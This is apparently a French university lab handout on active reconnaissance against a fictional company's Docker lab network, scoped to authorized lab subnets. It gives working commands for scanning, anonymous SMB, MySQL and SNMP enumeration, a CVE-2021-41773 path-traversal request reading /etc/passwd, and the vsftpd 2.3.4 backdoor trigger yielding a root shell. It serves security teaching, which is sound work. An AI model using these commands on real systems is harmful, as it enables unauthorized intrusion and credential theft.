TP2 — Reconnaissance active : cartographier, énumérer, et comprendre la surface d'attaque d'ACME

> 4 h. On passe du **passif** (TP1, OSINT) à l'**actif** : on **interroge** la cible. MITRE ATT&CK : **Reconnaissance** (TA0043) → **Discovery** (TA0007) → **Credential Access** (TA0006) → **Initial Access** (TA0001).

Le contexte

Au TP1, vous avez dressé le profil d'**ACME** sans rien « toucher ». Aujourd'hui, ACME vous mandate pour l'étape suivante d'un **audit de sécurité** : la **reconnaissance active** de son réseau. Vous allez **scanner**, **énumérer** et **identifier les failles probables** — exactement ce qu'un attaquant fait avant de passer à l'attaque.

Pourquoi ça compte, maintenant : le **Verizon DBIR 2026** classe l'**exploitation de vulnérabilités** comme **vecteur d'intrusion n°1**. En Belgique, **Belnet** (0-day fournisseur, sept. 2026) et la **Sûreté de l'État via Ivanti** ont été touchées par des **services exposés et non patchés**. Le geste de base de l'attaquant — *trouver un service, lire sa version, chercher la CVE* — est précisément ce que vous allez apprendre à faire, puis à **contrer**.

Votre mission

ACME a deux segments réseau. Vous produisez une **fiche de surface d'attaque** : pour chaque hôte, ses **ports**, ses **services + versions**, les **données qui fuitent**, les **vulnérabilités probables**, et une **recommandation de durcissement**. C'est le livrable d'entrée de tout vrai audit.

MITRE ATT&CK — les tactiques traversées aujourd'hui (on les nomme en début de séance ; chaque mission en coche une) :

Mission	Tactique ATT&CK	Technique(s)
1 — Cartographier	**Reconnaissance** (TA0043)	Active Scanning (T1595)
2 — Énumérer	**Discovery** (TA0007)	Network Service Discovery (T1046), Account/Share/System Discovery
2 — Secret qui fuit · 3 — Capture	**Credential Access** (TA0006)	Unsecured Credentials (T1552), Network Sniffing (T1040)
4 — Du service à l'accès	**Initial Access** (TA0001)	Exploit Public-Facing Application (T1190)

Règles du jeu (cadre légal — non négociable)

- **Cible autorisée : uniquement le réseau du labo, dans VOTRE VM Kali.** Les sous-réseaux `172.21.0.0/24` (segment exposé) et `172.22.0.0/24` (segment interne) d'ACME, point.
- **Interdit** : scanner le réseau de l'école, `ephec.be`, la VM d'un·e camarade, ou toute IP publique. « Autorisation écrite, pas un permis de scanner » (cours 1). Hors cadre = recadrage immédiat.
- Preuve de travail : pour chaque mission, **une capture d'écran + la commande + une phrase d'interprétation**. Les données comptent plus que des « flags ».

Mise en place

```
# Dans votre VM Kali. MATRICULE = votre matricule (marque vos cibles comme les vôtres).
cd ressources
MATRICULE=<votre_matricule> docker compose up -d      # réseau d'ACME (7 cibles, 2
        segments)
# ... le TP ...
docker compose down                                   # à la fin
```

Mission 1 — Cartographier le réseau d'ACME (~60 min)

> *Tactique : Reconnaissance (T1595). Outil :* `nmap` *(déjà dans Kali), dans un rôle neuf.*

Vous ne connaissez que les deux plages réseau. Trouvez **qui est là** et **ce qui tourne**.

1. **Qui est vivant ?** (découverte d'hôtes, sans scanner les ports)

```
nmap -sn 172.21.0.0/24
nmap -sn 172.22.0.0/24
```

2. **L'hôte discret.** Un hôte répond mais n'a **aucun port** ouvert. Trouvez-le, et demandez-vous pourquoi il apparaît quand même « up ».
3. **Quels services, quelles versions ?** (le cœur)

```
nmap -sV 172.21.0.0/24            # segment exposé
nmap -sV 172.22.0.0/24            # segment interne (SNMP est en UDP : nmap -sU -sV
        -p161 <ip>)
```

4. **Scripts NSE** : laissez nmap creuser automatiquement.

```
nmap -sC 172.21.0.0/24
nmap -p6379 --script redis-info 172.21.0.13
```

Fini quand : votre fiche liste, pour chaque hôte, ses ports + service + **version**. **Question-pont** : repérez 2-3 choses utiles à un **attaquant** — *et* à un **défenseur**. On en parle.

> STOP — on corrige, et on prend un peu de hauteur (voir le plan T1 : « le port ment », version→CVE, et le pivot défensif : zones / *default deny*, le lien avec le cours de Samuel).

Mission 2 — Faire parler les services (~60 min)

> *Tactique : Discovery (T1046…) puis Credential Access (T1552). Outils :* `smbclient`, `mysql`, `snmpwalk` *(tous dans Kali).* Un service mal configuré **livre ses données sans mot de passe**.

2a — Partages SMB (`acme-smb`, 172.22.0.13)

```
smbclient -L //172.22.0.13 -N                              # lister les partages en
        anonyme
smbclient //172.22.0.13/public -N -c 'ls; get policy.txt -' # lecture anonyme
smbclient //172.22.0.13/staff -U 'jdoe%Summer2024!' -c 'ls' # accès authentifié
```

Lisez `policy.txt` et le partage `staff` : quel **compte de service** y est mentionné ?

2b — Base de données (`acme-db` , 172.22.0.12)

```
mysql -h 172.22.0.12 -u root -p'enumR0ot' --skip-ssl
# puis :  SHOW DATABASES;  USE employees;  SHOW TABLES;
#         SELECT * FROM salaries;  SELECT * FROM system_config;
```

Deux tables sautent aux yeux : l'une est **sensible**, l'autre **laisse traîner un mot de passe**.

2c — SNMP (`acme-snmp` , 172.22.0.14)

```
snmpwalk -v2c -c public 172.22.0.14 1.3.6.1.2.1.1          # groupe "system"
```

Quel **équipement** est-ce ? Qui est le **contact** ? (la *community string* est `public` …)

Fini quand : vous avez sorti (1) une donnée sensible, (2) un **identifiant en clair**, (3) le profil de l'équipement SNMP — **le tout sans aucun exploit. Question-pont (défenseur)** : quelle est la **plus petite correction** qui empêche chacune de ces fuites ?

2d — Changer de camp : ce que le réseau laisse voir (~20 min, capture)

> *Tactique : Credential Access (T1040, Network Sniffing). Outil :* `tshark` */Wireshark.*

1. **L'empreinte d'un scan.** Capturez votre **propre** scan sur l'interface du **réseau Docker du labo** (pas une interface vide) :

   ```
   ip -o -4 addr | grep 172.22        # trouvez l'interface (ex. br-xxxx)
   sudo tshark -i <interface> -f 'udp port 161 or tcp' &   # puis relancez un
           scan/snmpwalk
   ```

2. **Un secret en clair.** Rejouez un `snmpwalk -c public …` pendant la capture, puis cherchez la chaîne `public` dans le trafic (Wireshark : *Follow UDP Stream*). La *community string* **est** un mot de passe — et elle circule **en clair** (SNMPv2c).

Fini quand : vous avez vu (1) les paquets de votre scan, (2) le mot `public` lisible sur le fil.

> STOP — correction + théorie T2 (empreinte = ce que voit l'IDS de Samuel ; clair vs chiffré ; les **recos de durcissement** que vous venez d'écrire, confrontées au vocabulaire de Samuel).

Mission 3 — Du service à l'accès : une version, une CVE, une faille

(~30 min)

> *Tactique : Initial Access (T1190). Un serveur exposé d'ACME tourne en version vulnérable connue.*

```
cd ressources/apache-cve
docker compose up -d --build          # serveur exposé (127.0.0.1:8080)
curl -s -I http://127.0.0.1:8080/ | grep -i Server      # quelle version ?
```

1. **Version → CVE.** La bannière donne `Apache/2.4.49`. Cherchez la CVE associée :

   ```
   searchsploit apache 2.4.49          # (dans Kali) la CVE et l'exploit public
   ```

2. **De la CVE à la faille.** Cette version a une **traversée de chemin** (CVE-2021-41773). Une seule requête suffit à lire un fichier **hors** du site :

   ```
   curl -s --path-as-is 'http://127.0.0.1:8080/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd'
   ```

Fini quand : vous avez relié la **version** à la **CVE**, et lu un fichier système. **On lit, on n'abîme rien.**
Question-pont : qu'auriez-vous dit à l'admin d'ACME ? (une phrase)

> STOP — théorie T3 : la **chaîne complète** recon → énumération → version/CVE → **accès** (kill chain / ATT&CK) ; la **fiche de surface d'attaque** d'ACME = votre livrable (→ projet) ; ponts TP3 / TP6.

● Mission 4 (optionnelle) — Un cran plus loin : d'un vieux service à un shell root (~15 min)

> *Tactique : Initial Access (T1190), aperçu TP6. Cible « vitrine » ultra-riche en services.*

ACME a aussi un vieux serveur oublié (Metasploitable2). Un scan montre **une vingtaine** de services sur **un seul** hôte — dont un FTP piégé.

```
# Dans votre VM : lancez la cible vitrine
docker run -d --name ms2 tleemcjr/metasploitable2 \
  /bin/sh -c '/bin/services.sh >/dev/null 2>&1; tail -f /dev/null'
MS=$(docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' ms2)
nmap -sV -p21 $MS                     # vsftpd 2.3.4 — cherchez la CVE/backdoor
```

Le `vsftpd 2.3.4` embarque une **porte dérobée** connue : un nom d'utilisateur finissant par `:)` ouvre un shell sur le port **6200**.

```
(printf 'USER x:)\r\nPASS x\r\n'; sleep 2) | nc $MS 21      # déclenche
echo 'id; uname -n' | nc $MS 6200                           # qui suis-je ?
docker rm -f ms2                                            # nettoyage
```

Fini quand : `id` répond `uid=0(root)`. Vous êtes passé de « port ouvert » à **contrôle total**.

Le livrable : la fiche de surface d'attaque d'ACME

Un tableau d'une page. Pour chaque hôte : **IP · ports ouverts · service + version · ce qui fuite · vulnérabilité probable · 1 reco de durcissement**. Plus une phrase de synthèse : *par où un attaquant commencerait, et la correction la plus rentable*.

Pour l'examen

- **Passif vs actif** ; légalité du scan (autorisation écrite).
- **Un port = un service *supposé*** : `-sV` révèle le logiciel **réel** derrière le port.
- **Découverte d'hôtes ≠ scan de ports** (l'hôte « discret »).
- **Version → CVE → exploit** : le geste n°1 de l'attaquant (DBIR 2026).
- **La fuite sans authentification** (SMB anonyme, SNMP `public`, mot de passe en clair) = Credential Access.
- **Clair vs chiffré** : ce que le réseau laisse voir ; pourquoi SNMPv3 / HTTPS / SSH.
- **Défense** (cours de Samuel) : **zones**, **default deny**, désactiver les services inutiles, *egress filtering*, moindre privilège.

Bibliographie (sources des cibles)

- Cibles de cartographie et d'énumération : **M. Borck, *Ethical Hacking Docker Labs*** (licence MIT) — https://github.com/michael-borck/ethical-hacking-docker-labs.
- Cible « version → CVE → accès » : **projet *vulhub*** (licence MIT) — https://github.com/vulhub/vulhub (environnement `httpd/CVE-2021-41773`).
- Cible vitrine (mission optionnelle) : **Metasploitable 2** (Rapid7) — https://sourceforge.net/projects/metasploitable/.
- Référence outils : documentation nmap — https://nmap.org/book/.